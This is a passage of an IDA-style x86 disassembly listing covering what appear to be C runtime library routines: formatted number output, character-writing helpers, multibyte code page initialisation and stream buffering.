loc_41FB1E: ; CODE XREF: sub_41F69F+201j mov [ebp+var_2C], 7 loc_41FB25: ; CODE XREF: sub_41F69F+448j test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 10h jz short loc_41FB8F mov al, byte ptr [ebp+var_2C] mov [ebp+var_16], 30h add al, 51h mov [ebp+var_1C], 2 mov [ebp+var_15], al jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB47: ; CODE XREF: sub_41F69F+41Ej test byte ptr [ebp+var_4], 80h mov [ebp+var_C], 8 jz short loc_41FB8F or byte ptr [ebp+var_4+1], 2 jmp short loc_41FB8F ; --------------------------------------------------------------------------- loc_41FB5A: ; CODE XREF: sub_41F69F+417j lea eax, [ebp+arg_8] push eax call sub_41FE7E test byte ptr [ebp+var_4], 20h pop ecx jz short loc_41FB73 mov cx, word ptr [ebp+var_14] mov [eax], cx jmp short loc_41FB78 ; --------------------------------------------------------------------------- loc_41FB73: ; CODE XREF: sub_41F69F+4C9j mov ecx, [ebp+var_14] mov [eax], ecx loc_41FB78: ; CODE XREF: sub_41F69F+4D2j mov [ebp+var_28], 1 jmp loc_41FDA7 ; default ; --------------------------------------------------------------------------- loc_41FB84: ; CODE XREF: sub_41F69F+2F7j ; sub_41F69F+40Ej or [ebp+var_4], 40h loc_41FB88: ; CODE XREF: sub_41F69F+432j mov [ebp+var_C], 0Ah loc_41FB8F: ; CODE XREF: sub_41F69F+491j ; sub_41F69F+4A6j ... test byte ptr [ebp+var_4+1], 80h jz short loc_41FBA1 lea eax, [ebp+arg_8] push eax call sub_41FE8B pop ecx jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBA1: ; CODE XREF: sub_41F69F+4F4j test byte ptr [ebp+var_4], 20h jz short loc_41FBC8 test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBBD call sub_41FE7E pop ecx movsx eax, ax loc_41FBBA: ; CODE XREF: sub_41F69F+527j ; sub_41F69F+539j cdq jmp short loc_41FBE2 ; --------------------------------------------------------------------------- loc_41FBBD: ; CODE XREF: sub_41F69F+510j call sub_41FE7E pop ecx movzx eax, ax jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBC8: ; CODE XREF: sub_41F69F+506j test byte ptr [ebp+var_4], 40h lea eax, [ebp+arg_8] push eax jz short loc_41FBDA call sub_41FE7E pop ecx jmp short loc_41FBBA ; --------------------------------------------------------------------------- loc_41FBDA: ; CODE XREF: sub_41F69F+531j call sub_41FE7E pop ecx xor edx, edx loc_41FBE2: ; CODE XREF: sub_41F69F+500j ; sub_41F69F+51Cj test byte ptr [ebp+var_4], 40h jz short loc_41FC03 test edx, edx jg short loc_41FC03 jl short loc_41FBF2 test eax, eax jnb short loc_41FC03 loc_41FBF2: ; CODE XREF: sub_41F69F+54Dj neg eax adc edx, 0 mov esi, eax neg edx or byte ptr [ebp+var_4+1], 1 mov edi, edx jmp short loc_41FC07 ; --------------------------------------------------------------------------- loc_41FC03: ; CODE XREF: sub_41F69F+547j ; sub_41F69F+54Bj ... mov esi, eax mov edi, edx loc_41FC07: ; CODE XREF: sub_41F69F+562j test byte ptr [ebp+var_4+1], 80h jnz short loc_41FC10 and edi, 0 loc_41FC10: ; CODE XREF: sub_41F69F+56Cj cmp [ebp+var_10], 0 jge short loc_41FC1F mov [ebp+var_10], 1 jmp short loc_41FC23 ; --------------------------------------------------------------------------- loc_41FC1F: ; CODE XREF: sub_41F69F+575j and [ebp+var_4], 0FFFFFFF7h loc_41FC23: ; CODE XREF: sub_41F69F+57Ej mov eax, esi or eax, edi jnz short loc_41FC2D and [ebp+var_1C], 0 loc_41FC2D: ; CODE XREF: sub_41F69F+588j lea eax, [ebp+var_49] mov [ebp+var_8], eax loc_41FC33: ; CODE XREF: sub_41F69F+5DDj mov eax, [ebp+var_10] dec [ebp+var_10] test eax, eax jg short loc_41FC43 mov eax, esi or eax, edi jz short loc_41FC7E loc_41FC43: ; CODE XREF: sub_41F69F+59Cj mov eax, [ebp+var_C] cdq push edx push eax push edi push esi mov [ebp+var_40], eax mov [ebp+var_3C], edx call sub_41D480 push [ebp+var_3C] mov ebx, eax add ebx, 30h push [ebp+var_40] push edi push esi call sub_41D410 cmp ebx, 39h mov esi, eax mov edi, edx jle short loc_41FC74 add ebx, [ebp+var_2C] loc_41FC74: ; CODE XREF: sub_41F69F+5D0j mov eax, [ebp+var_8] dec [ebp+var_8] mov [eax], bl jmp short loc_41FC33 ; --------------------------------------------------------------------------- loc_41FC7E: ; CODE XREF: sub_41F69F+5A2j lea eax, [ebp+var_49] sub eax, [ebp+var_8] inc [ebp+var_8] test byte ptr [ebp+var_4+1], 2 mov [ebp+var_C], eax jz short loc_41FCA9 mov ecx, [ebp+var_8] cmp byte ptr [ecx], 30h jnz short loc_41FC9C test eax, eax jnz short loc_41FCA9 loc_41FC9C: ; CODE XREF: sub_41F69F+5F7j dec [ebp+var_8] inc eax mov ecx, [ebp+var_8] mov byte ptr [ecx], 30h loc_41FCA6: ; CODE XREF: sub_41F69F+35Fj ; sub_41F69F+406j ... mov [ebp+var_C], eax loc_41FCA9: ; CODE XREF: sub_41F69F+21Bj ; sub_41F69F+2FDj ... cmp [ebp+var_28], 0 jnz loc_41FDA7 ; default mov ebx, [ebp+var_4] test bl, 40h jz short loc_41FCE1 test bh, 1 jz short loc_41FCC6 mov [ebp+var_16], 2Dh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCC6: ; CODE XREF: sub_41F69F+61Fj test bl, 1 jz short loc_41FCD1 mov [ebp+var_16], 2Bh jmp short loc_41FCDA ; --------------------------------------------------------------------------- loc_41FCD1: ; CODE XREF: sub_41F69F+62Aj test bl, 2 jz short loc_41FCE1 mov [ebp+var_16], 20h loc_41FCDA: ; CODE XREF: sub_41F69F+625j ; sub_41F69F+630j mov [ebp+var_1C], 1 loc_41FCE1: ; CODE XREF: sub_41F69F+61Aj ; sub_41F69F+635j mov esi, [ebp+var_20] sub esi, [ebp+var_1C] sub esi, [ebp+var_C] test bl, 0Ch jnz short loc_41FD01 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FD01: ; CODE XREF: sub_41F69F+64Ej lea eax, [ebp+var_14] push eax lea eax, [ebp+var_16] push [ebp+arg_0] push [ebp+var_1C] push eax call sub_41FE46 add esp, 10h test bl, 8 jz short loc_41FD33 test bl, 4 jnz short loc_41FD33 lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 30h call sub_41FE15 add esp, 10h loc_41FD33: ; CODE XREF: sub_41F69F+67Bj ; sub_41F69F+680j cmp [ebp+var_24], 0 jz short loc_41FD7A cmp [ebp+var_C], 0 jle short loc_41FD7A mov eax, [ebp+var_C] mov ebx, [ebp+var_8] lea edi, [eax-1] loc_41FD48: ; CODE XREF: sub_41F69F+6D7j mov ax, [ebx] inc ebx push eax lea eax, [ebp+var_38] push eax inc ebx call sub_423E5B pop ecx test eax, eax pop ecx jle short loc_41FD8F lea ecx, [ebp+var_14] push ecx push [ebp+arg_0] push eax lea eax, [ebp+var_38] push eax call sub_41FE46 add esp, 10h mov eax, edi dec edi test eax, eax jnz short loc_41FD48 jmp short loc_41FD8F ; --------------------------------------------------------------------------- loc_41FD7A: ; CODE XREF: sub_41F69F+698j ; sub_41F69F+69Ej lea eax, [ebp+var_14] push eax push [ebp+arg_0] push [ebp+var_C] push [ebp+var_8] call sub_41FE46 add esp, 10h loc_41FD8F: ; CODE XREF: sub_41F69F+6BCj ; sub_41F69F+6D9j test byte ptr [ebp+var_4], 4 jz short loc_41FDA7 ; default lea eax, [ebp+var_14] push eax push [ebp+arg_0] push esi push 20h call sub_41FE15 add esp, 10h loc_41FDA7: ; CODE XREF: sub_41F69F+68j ; sub_41F69F+8Bj ... mov edi, [ebp+arg_4] ; default mov bl, [edi] inc edi test bl, bl mov [ebp+arg_4], edi jnz loc_41F6CB loc_41FDB8: ; CODE XREF: sub_41F69F+1Fj ; sub_41F69F+37j mov eax, [ebp+var_14] pop edi pop esi pop ebx leave retn sub_41F69F endp ; --------------------------------------------------------------------------- off_41FDC0 dd offset loc_41F83E ; DATA XREF: sub_41F69F+6Er dd offset loc_41F714 ; jump table for switch statement dd offset loc_41F72F dd offset loc_41F77B dd offset loc_41F7B2 dd offset loc_41F7BA dd offset loc_41F7EF dd offset loc_41F882 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FDE0 proc near ; CODE XREF: sub_41F69F+1BDp ; sub_41F69F+1D6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp mov ecx, [ebp+arg_4] dec dword ptr [ecx+4] js short loc_41FDF9 mov edx, [ecx] mov al, byte ptr [ebp+arg_0] mov [edx], al inc dword ptr [ecx] movzx eax, al jmp short loc_41FE04 ; --------------------------------------------------------------------------- loc_41FDF9: ; CODE XREF: sub_41FDE0+9j push ecx push [ebp+arg_0] call sub_41F58A pop ecx pop ecx loc_41FE04: ; CODE XREF: sub_41FDE0+17j cmp eax, 0FFFFFFFFh mov eax, [ebp+arg_8] jnz short loc_41FE11 or dword ptr [eax], 0FFFFFFFFh pop ebp retn ; --------------------------------------------------------------------------- loc_41FE11: ; CODE XREF: sub_41FDE0+2Aj inc dword ptr [eax] pop ebp retn sub_41FDE0 endp ; =============== S U B R O U T I N E ======================================= sub_41FE15 proc near ; CODE XREF: sub_41F69F+65Ap ; sub_41F69F+68Cp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push esi push edi mov edi, [esp+8+arg_4] mov eax, edi dec edi test eax, eax jle short loc_41FE43 mov esi, [esp+8+arg_C] loc_41FE26: ; CODE XREF: sub_41FE15+2Cj push esi push [esp+0Ch+arg_8] push [esp+10h+arg_0] call sub_41FDE0 add esp, 0Ch cmp dword ptr [esi], 0FFFFFFFFh jz short loc_41FE43 mov eax, edi dec edi test eax, eax jg short loc_41FE26 loc_41FE43: ; CODE XREF: sub_41FE15+Bj ; sub_41FE15+25j pop edi pop esi retn sub_41FE15 endp ; =============== S U B R O U T I N E ======================================= sub_41FE46 proc near ; CODE XREF: sub_41F69F+670p ; sub_41F69F+6CAp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov ebx, [esp+4+arg_4] mov eax, ebx dec ebx push esi push edi test eax, eax jle short loc_41FE7A mov edi, [esp+0Ch+arg_C] mov esi, [esp+0Ch+arg_0] loc_41FE5C: ; CODE XREF: sub_41FE46+32j movsx eax, byte ptr [esi] push edi inc esi push [esp+10h+arg_8] push eax call sub_41FDE0 add esp, 0Ch cmp dword ptr [edi], 0FFFFFFFFh jz short loc_41FE7A mov eax, ebx dec ebx test eax, eax jg short loc_41FE5C loc_41FE7A: ; CODE XREF: sub_41FE46+Cj ; sub_41FE46+2Bj pop edi pop esi pop ebx retn sub_41FE46 endp ; =============== S U B R O U T I N E ======================================= sub_41FE7E proc near ; CODE XREF: sub_41F69F+E5p ; sub_41F69F+124p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov eax, [eax-4] retn sub_41FE7E endp ; =============== S U B R O U T I N E ======================================= sub_41FE8B proc near ; CODE XREF: sub_41F69F+4FAp arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 8 mov ecx, [eax] mov eax, [ecx-8] mov edx, [ecx-4] retn sub_41FE8B endp ; =============== S U B R O U T I N E ======================================= sub_41FE9B proc near ; CODE XREF: sub_41F69F+2C7p arg_0 = dword ptr 4 mov eax, [esp+arg_0] add dword ptr [eax], 4 mov eax, [eax] mov ax, [eax-4] retn sub_41FE9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41FEA9 proc near ; CODE XREF: sub_42026D+Bp var_18 = dword ptr -18h var_12 = byte ptr -12h var_11 = byte ptr -11h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h push ebx push esi push edi push [ebp+arg_0] call sub_420042 mov esi, eax pop ecx cmp esi, dword_4DCDA4 mov [ebp+arg_0], esi jz loc_420036 xor ebx, ebx cmp esi, ebx jz loc_42002C xor edx, edx mov eax, offset dword_43CC00 loc_41FEDD: ; CODE XREF: sub_41FEA9+41j cmp [eax], esi jz short loc_41FF53 add eax, 30h inc edx cmp eax, offset dword_43CCF0 jl short loc_41FEDD lea eax, [ebp+var_18] push eax push esi nop call near ptr 2900000h cmp eax, 1 jnz loc_420024 push 40h xor eax, eax pop ecx mov edi, offset byte_4DCEC0 cmp [ebp+var_18], 1 mov dword_4DCDA4, esi rep stosd stosb mov dword_4DCFC4, ebx jbe loc_420012 cmp [ebp+var_12], 0 jz loc_41FFE8 lea ecx, [ebp+var_11] loc_41FF30: ; CODE XREF: sub_41FEA9+139j mov dl, [ecx] test dl, dl jz loc_41FFE8 movzx eax, byte ptr [ecx-1] movzx edx, dl loc_41FF41: ; CODE XREF: sub_41FEA9+A8j cmp eax, edx ja loc_41FFDC or byte_4DCEC1[eax], 4 inc eax jmp short loc_41FF41 ; --------------------------------------------------------------------------- loc_41FF53: ; CODE XREF: sub_41FEA9+36j push 40h xor eax, eax pop ecx mov edi, offset byte_4DCEC0 rep stosd lea esi, [edx+edx*2] mov [ebp+var_4], ebx shl esi, 4 stosb lea ebx, dword_43CC10[esi] loc_41FF6F: ; CODE XREF: sub_41FEA9+103j cmp byte ptr [ebx], 0 mov ecx, ebx jz short loc_41FFA2 loc_41FF76: ; CODE XREF: sub_41FEA9+F7j mov dl, [ecx+1] test dl, dl jz short loc_41FFA2 movzx eax, byte ptr [ecx] movzx edi, dl cmp eax, edi ja short loc_41FF9B mov edx, [ebp+var_4] mov dl, byte_43CBF8[edx] loc_41FF90: ; CODE XREF: sub_41FEA9+F0j or byte_4DCEC1[eax], dl inc eax cmp eax, edi jbe short loc_41FF90 loc_41FF9B: ; CODE XREF: sub_41FEA9+DCj inc ecx inc ecx cmp byte ptr [ecx], 0 jnz short loc_41FF76 loc_41FFA2: ; CODE XREF: sub_41FEA9+CBj ; sub_41FEA9+D2j inc [ebp+var_4] add ebx, 8 cmp [ebp+var_4], 4 jb short loc_41FF6F mov eax, [ebp+arg_0] mov dword_4DCDBC, 1 push eax mov dword_4DCDA4, eax call sub_42008C lea esi, dword_43CC04[esi] mov edi, offset dword_4DCDB0 movsd movsd pop ecx mov dword_4DCFC4, eax movsd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_41FFDC: ; CODE XREF: sub_41FEA9+9Aj inc ecx inc ecx cmp byte ptr [ecx-1], 0 jnz loc_41FF30 loc_41FFE8: ; CODE XREF: sub_41FEA9+7Ej ; sub_41FEA9+8Bj push 1 pop eax loc_41FFEB: ; CODE XREF: sub_41FEA9+14Fj or byte_4DCEC1[eax], 8 inc eax cmp eax, 0FFh jb short loc_41FFEB push esi call sub_42008C pop ecx mov dword_4DCFC4, eax mov dword_4DCDBC, 1 jmp short loc_420018 ; --------------------------------------------------------------------------- loc_420012: ; CODE XREF: sub_41FEA9+74j mov dword_4DCDBC, ebx loc_420018: ; CODE XREF: sub_41FEA9+167j xor eax, eax mov edi, offset dword_4DCDB0 stosd stosd stosd jmp short loc_420031 ; --------------------------------------------------------------------------- loc_420024: ; CODE XREF: sub_41FEA9+51j cmp dword_4DB9E0, ebx jz short loc_42003A loc_42002C: ; CODE XREF: sub_41FEA9+27j call sub_4200BF loc_420031: ; CODE XREF: sub_41FEA9+131j ; sub_41FEA9+179j call sub_4200E8 loc_420036: ; CODE XREF: sub_41FEA9+1Dj xor eax, eax jmp short loc_42003D ; --------------------------------------------------------------------------- loc_42003A: ; CODE XREF: sub_41FEA9+181j or eax, 0FFFFFFFFh loc_42003D: ; CODE XREF: sub_41FEA9+18Fj pop edi pop esi pop ebx leave retn sub_41FEA9 endp ; =============== S U B R O U T I N E ======================================= sub_420042 proc near ; CODE XREF: sub_41FEA9+Cp arg_0 = dword ptr 4 mov eax, [esp+arg_0] and dword_4DB9E0, 0 cmp eax, 0FFFFFFFEh jnz short loc_420062 mov dword_4DB9E0, 1 jmp near ptr 26908FBh ; --------------------------------------------------------------------------- db 32h ; --------------------------------------------------------------------------- loc_420062: ; CODE XREF: sub_420042+Ej cmp eax, 0FFFFFFFDh jnz short loc_420077 mov dword_4DB9E0, 1 jmp near ptr 2900782h ; --------------------------------------------------------------------------- db 71h ; --------------------------------------------------------------------------- loc_420077: ; CODE XREF: sub_420042+23j cmp eax, 0FFFFFFFCh jnz short locret_42008B mov eax, dword_4DBA24 mov dword_4DB9E0, 1 locret_42008B: ; CODE XREF: sub_420042+38j retn sub_420042 endp ; =============== S U B R O U T I N E ======================================= sub_42008C proc near ; CODE XREF: sub_41FEA9+118p ; sub_41FEA9+152p arg_0 = dword ptr 4 mov eax, [esp+arg_0] sub eax, 3A4h jz short loc_4200B9 sub eax, 4 jz short loc_4200B3 sub eax, 0Dh jz short loc_4200AD dec eax jz short loc_4200A7 xor eax, eax retn ; --------------------------------------------------------------------------- loc_4200A7: ; CODE XREF: sub_42008C+16j mov eax, 404h retn ; --------------------------------------------------------------------------- loc_4200AD: ; CODE XREF: sub_42008C+13j mov eax, 412h retn ; --------------------------------------------------------------------------- loc_4200B3: ; CODE XREF: sub_42008C+Ej mov eax, 804h retn ; --------------------------------------------------------------------------- loc_4200B9: ; CODE XREF: sub_42008C+9j mov eax, 411h retn sub_42008C endp ; =============== S U B R O U T I N E ======================================= sub_4200BF proc near ; CODE XREF: sub_41FEA9:loc_42002Cp push edi push 40h pop ecx xor eax, eax mov edi, offset byte_4DCEC0 rep stosd stosb xor eax, eax mov edi, offset dword_4DCDB0 mov dword_4DCDA4, eax mov dword_4DCDBC, eax mov dword_4DCFC4, eax stosd stosd stosd pop edi retn sub_4200BF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4200E8 proc near ; CODE XREF: sub_41FEA9:loc_420031p var_514 = byte ptr -514h var_314 = byte ptr -314h var_214 = byte ptr -214h var_114 = byte ptr -114h var_14 = byte ptr -14h var_E = byte ptr -0Eh var_D = byte ptr -0Dh push ebp mov ebp, esp sub esp, 514h lea eax, [ebp+var_14] push esi push eax push dword_4DCDA4 call near ptr 2900000h nop cmp eax, 1 jnz loc_420221 xor eax, eax mov esi, 100h loc_420112: ; CODE XREF: sub_4200E8+34j mov [ebp+eax+var_114], al inc eax cmp eax, esi jb short loc_420112 mov al, [ebp+var_E] mov [ebp+var_114], 20h test al, al jz short loc_420163 push ebx push edi lea edx, [ebp+var_D] loc_420131: ; CODE XREF: sub_4200E8+77j movzx ecx, byte ptr [edx] movzx eax, al cmp eax, ecx ja short loc_420158 sub ecx, eax lea edi, [ebp+eax+var_114] inc ecx mov eax, 20202020h mov ebx, ecx shr ecx, 2 rep stosd mov ecx, ebx and ecx, 3 rep stosb loc_420158: ; CODE XREF: sub_4200E8+51j inc edx inc edx mov al, [edx-1] test al, al jnz short loc_420131 pop edi pop ebx loc_420163: ; CODE XREF: sub_4200E8+42j push 0 lea eax, [ebp+var_514] push dword_4DCFC4 push dword_4DCDA4 push eax lea eax, [ebp+var_114] push esi push eax push 1 call sub_423CEC push 0 lea eax, [ebp+var_214] push dword_4DCDA4 push esi push eax lea eax, [ebp+var_114] push esi push eax push esi push dword_4DCFC4 call sub_422ACA push 0 lea eax, [ebp+var_314] push dword_4DCDA4 push esi push eax lea eax, [ebp+var_114] push esi push eax push 200h push dword_4DCFC4 call sub_422ACA add esp, 5Ch xor eax, eax lea ecx, [ebp+var_514] loc_4201DE: ; CODE XREF: sub_4200E8+135j mov dx, [ecx] test dl, 1 jz short loc_4201FC or byte_4DCEC1[eax], 10h mov dl, [ebp+eax+var_214] loc_4201F4: ; CODE XREF: sub_4200E8+127j mov byte_4DCDC0[eax], dl jmp short loc_420218 ; --------------------------------------------------------------------------- loc_4201FC: ; CODE XREF: sub_4200E8+FCj test dl, 2 jz short loc_420211 or byte_4DCEC1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_4201F4 ; --------------------------------------------------------------------------- loc_420211: ; CODE XREF: sub_4200E8+117j and byte_4DCDC0[eax], 0 loc_420218: ; CODE XREF: sub_4200E8+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_4201DE jmp short loc_42026A ; --------------------------------------------------------------------------- loc_420221: ; CODE XREF: sub_4200E8+1Dj xor eax, eax mov esi, 100h loc_420228: ; CODE XREF: sub_4200E8+180j cmp eax, 41h jb short loc_420246 cmp eax, 5Ah ja short loc_420246 or byte_4DCEC1[eax], 10h mov cl, al add cl, 20h loc_42023E: ; CODE XREF: sub_4200E8+174j mov byte_4DCDC0[eax], cl jmp short loc_420265 ; --------------------------------------------------------------------------- loc_420246: ; CODE XREF: sub_4200E8+143j ; sub_4200E8+148j cmp eax, 61h jb short loc_42025E cmp eax, 7Ah ja short loc_42025E or byte_4DCEC1[eax], 20h mov cl, al sub cl, 20h jmp short loc_42023E ; --------------------------------------------------------------------------- loc_42025E: ; CODE XREF: sub_4200E8+161j ; sub_4200E8+166j and byte_4DCDC0[eax], 0 loc_420265: ; CODE XREF: sub_4200E8+15Cj inc eax cmp eax, esi jb short loc_420228 loc_42026A: ; CODE XREF: sub_4200E8+137j pop esi leave retn sub_4200E8 endp ; =============== S U B R O U T I N E ======================================= sub_42026D proc near ; CODE XREF: ___:00422E7Bp ; ___:00422ED7p ... cmp dword_4DCFF4, 0 jnz short locret_420288 push 0FFFFFFFDh call sub_41FEA9 pop ecx mov dword_4DCFF4, 1 locret_420288: ; CODE XREF: sub_42026D+7j retn sub_42026D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420289 proc near ; CODE XREF: sub_41B9D1+2Bp ; sub_41B9D1+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp dword_4DCDBC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_4202AD push [ebp+arg_8] push [ebp+arg_4] push edi call sub_41B5F0 add esp, 0Ch jmp short loc_420310 ; --------------------------------------------------------------------------- loc_4202AD: ; CODE XREF: sub_420289+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_4202F2 mov ecx, [ebp+arg_4] loc_4202B8: ; CODE XREF: sub_420289+5Bj mov al, [ecx] dec edx movzx esi, al test byte_4DCEC1[esi], 4 mov [edi], al jz short loc_4202DC inc edi inc ecx test edx, edx jz short loc_4202E8 mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_4202EE jmp short loc_4202E2 ; --------------------------------------------------------------------------- loc_4202DC: ; CODE XREF: sub_420289+3Ej inc edi inc ecx test al, al jz short loc_4202F2 loc_4202E2: ; CODE XREF: sub_420289+51j test edx, edx jnz short loc_4202B8 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202E8: ; CODE XREF: sub_420289+44j and byte ptr [edi-1], 0 jmp short loc_4202F2 ; --------------------------------------------------------------------------- loc_4202EE: ; CODE XREF: sub_420289+4Fj and byte ptr [edi-2], 0 loc_4202F2: ; CODE XREF: sub_420289+2Aj ; sub_420289+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_42030D lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_42030D: ; CODE XREF: sub_420289+6Fj mov eax, [ebp+arg_0] loc_420310: ; CODE XREF: sub_420289+22j pop edi pop ebp retn sub_420289 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420313 proc near ; CODE XREF: sub_41BBBD+12Bp var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp dword_4DBA14, 0 push ebx jnz short loc_42033E mov eax, [ebp+arg_0] cmp eax, 61h jl loc_4203DC cmp eax, 7Ah jg loc_4203DC sub eax, 20h jmp loc_4203DC ; --------------------------------------------------------------------------- loc_42033E: ; CODE XREF: sub_420313+Cj mov ebx, [ebp+arg_0] cmp ebx, 100h jge short loc_420371 cmp dword_43CBE4, 1 jle short loc_42035E push 2 push ebx call sub_41F515 pop ecx pop ecx jmp short loc_420369 ; --------------------------------------------------------------------------- loc_42035E: ; CODE XREF: sub_420313+3Dj mov eax, off_43C9D8 mov al, [eax+ebx*2] and eax, 2 loc_420369: ; CODE XREF: sub_420313+49j test eax, eax jnz short loc_420371 loc_42036D: ; CODE XREF: sub_420313+AFj mov eax, ebx jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_420371: ; CODE XREF: sub_420313+34j ; sub_420313+58j mov edx, off_43C9D8 mov eax, ebx sar eax, 8 movzx ecx, al test byte ptr [edx+ecx*2+1], 80h jz short loc_420394 and byte ptr [ebp+arg_0+2], 0 mov byte ptr [ebp+arg_0], al mov byte ptr [ebp+arg_0+1], bl push 2 jmp short loc_42039D ; --------------------------------------------------------------------------- loc_420394: ; CODE XREF: sub_420313+71j and byte ptr [ebp+arg_0+1], 0 mov byte ptr [ebp+arg_0], bl push 1 loc_42039D: ; CODE XREF: sub_420313+7Fj pop eax lea ecx, [ebp+var_4] push 1 push 0 push 3 push ecx push eax lea eax, [ebp+arg_0] push eax push 200h push dword_4DBA14 call sub_422ACA add esp, 20h test eax, eax jz short loc_42036D cmp eax, 1 jnz short loc_4203CF movzx eax, [ebp+var_4] jmp short loc_4203DC ; --------------------------------------------------------------------------- loc_4203CF: ; CODE XREF: sub_420313+B4j movzx eax, [ebp+var_3] movzx ecx, [ebp+var_4] shl eax, 8 or eax, ecx loc_4203DC: ; CODE XREF: sub_420313+14j ; sub_420313+1Dj ... pop ebx leave retn sub_420313 endp ; =============== S U B R O U T I N E ======================================= sub_4203DF proc near ; CODE XREF: sub_41BDDC+1Dp ; sub_41D3BE+16p ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov dword_4DB95C, ecx mov eax, offset dword_43CCF0 loc_4203F0: ; CODE XREF: sub_4203DF+1Ej cmp ecx, [eax] jz short loc_420414 add eax, 8 inc edx cmp eax, offset dword_43CE58 jl short loc_4203F0 cmp ecx, 13h jb short loc_420421 cmp ecx, 24h ja short loc_420421 mov dword_4DB958, 0Dh retn ; --------------------------------------------------------------------------- loc_420414: ; CODE XREF: sub_4203DF+13j mov eax, dword_43CCF4[edx*8] mov dword_4DB958, eax retn ; --------------------------------------------------------------------------- loc_420421: ; CODE XREF: sub_4203DF+23j ; sub_4203DF+28j cmp ecx, 0BCh jb short loc_42043B cmp ecx, 0CAh mov dword_4DB958, 8 jbe short locret_420445 loc_42043B: ; CODE XREF: sub_4203DF+48j mov dword_4DB958, 16h locret_420445: ; CODE XREF: sub_4203DF+5Aj retn sub_4203DF endp ; =============== S U B R O U T I N E ======================================= sub_420446 proc near ; CODE XREF: sub_41BE06+8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push dword ptr [esi+10h] call sub_423E35 test eax, eax pop ecx jz short loc_4204CF cmp esi, offset dword_43D0E8 jnz short loc_420464 xor eax, eax jmp short loc_42046F ; --------------------------------------------------------------------------- loc_420464: ; CODE XREF: sub_420446+18j cmp esi, offset dword_43D108 jnz short loc_4204CF push 1 pop eax loc_42046F: ; CODE XREF: sub_420446+1Cj inc dword_4DBB40 test word ptr [esi+0Ch], 10Ch jnz short loc_4204CF cmp dword_4DB9E4[eax*4], 0 push ebx push edi lea edi, ds:4DB9E4h[eax*4] mov ebx, 1000h jnz short loc_4204B5 push ebx call sub_41B4D5 test eax, eax pop ecx mov [edi], eax jnz short loc_4204B5 lea eax, [esi+14h] push 2 mov [esi+8], eax mov [esi], eax pop eax mov [esi+18h], eax mov [esi+4], eax jmp short loc_4204C2 ; --------------------------------------------------------------------------- loc_4204B5: ; CODE XREF: sub_420446+4Dj ; sub_420446+5Aj mov edi, [edi] mov [esi+18h], ebx mov [esi+8], edi mov [esi], edi mov [esi+4], ebx loc_4204C2: ; CODE XREF: sub_420446+6Dj or word ptr [esi+0Ch], 1102h push 1 pop eax pop edi pop ebx pop esi retn ; --------------------------------------------------------------------------- loc_4204CF: ; CODE XREF: sub_420446+10j ; sub_420446+24j ... xor eax, eax pop esi retn sub_420446 endp ; =============== S U B R O U T I N E ======================================= sub_4204D3 proc near ; CODE XREF: sub_41BE06+24p arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp [esp+arg_0], 0 push esi jz short loc_4204FD mov esi, [esp+4+arg_4] test byte ptr [esi+0Dh], 10h jz short loc_42050E push esi call sub_41DB8B and byte ptr [esi+0Dh], 0EEh and dword ptr [esi+18h], 0 and dword ptr [esi], 0 and dword ptr [esi+8], 0 pop ecx pop esi retn ; --------------------------------------------------------------------------- loc_4204FD: ; CODE XREF: sub_4204D3+6j mov eax, [esp+4+arg_4] test byte ptr [eax+0Dh], 10h jz short loc_42050E push eax call sub_41DB8B pop ecx loc_42050E: ; CODE XREF: sub_4204D3+10j ; sub_4204D3+32j pop esi retn sub_4204D3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_420510 proc near ; CODE XREF: sub_41C645+2Ap var_1C4 = byte ptr -1C4h var_1C3 = byte ptr -1C3h var_64 = byte ptr -64h var_59 = byte ptr -59h var_44 = dword ptr -44h var_3E = word ptr -3Eh var_3C = dword ptr -3Ch var_38 = byte ptr -38h var_37 = byte ptr -37h var_35 = byte ptr -35h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr 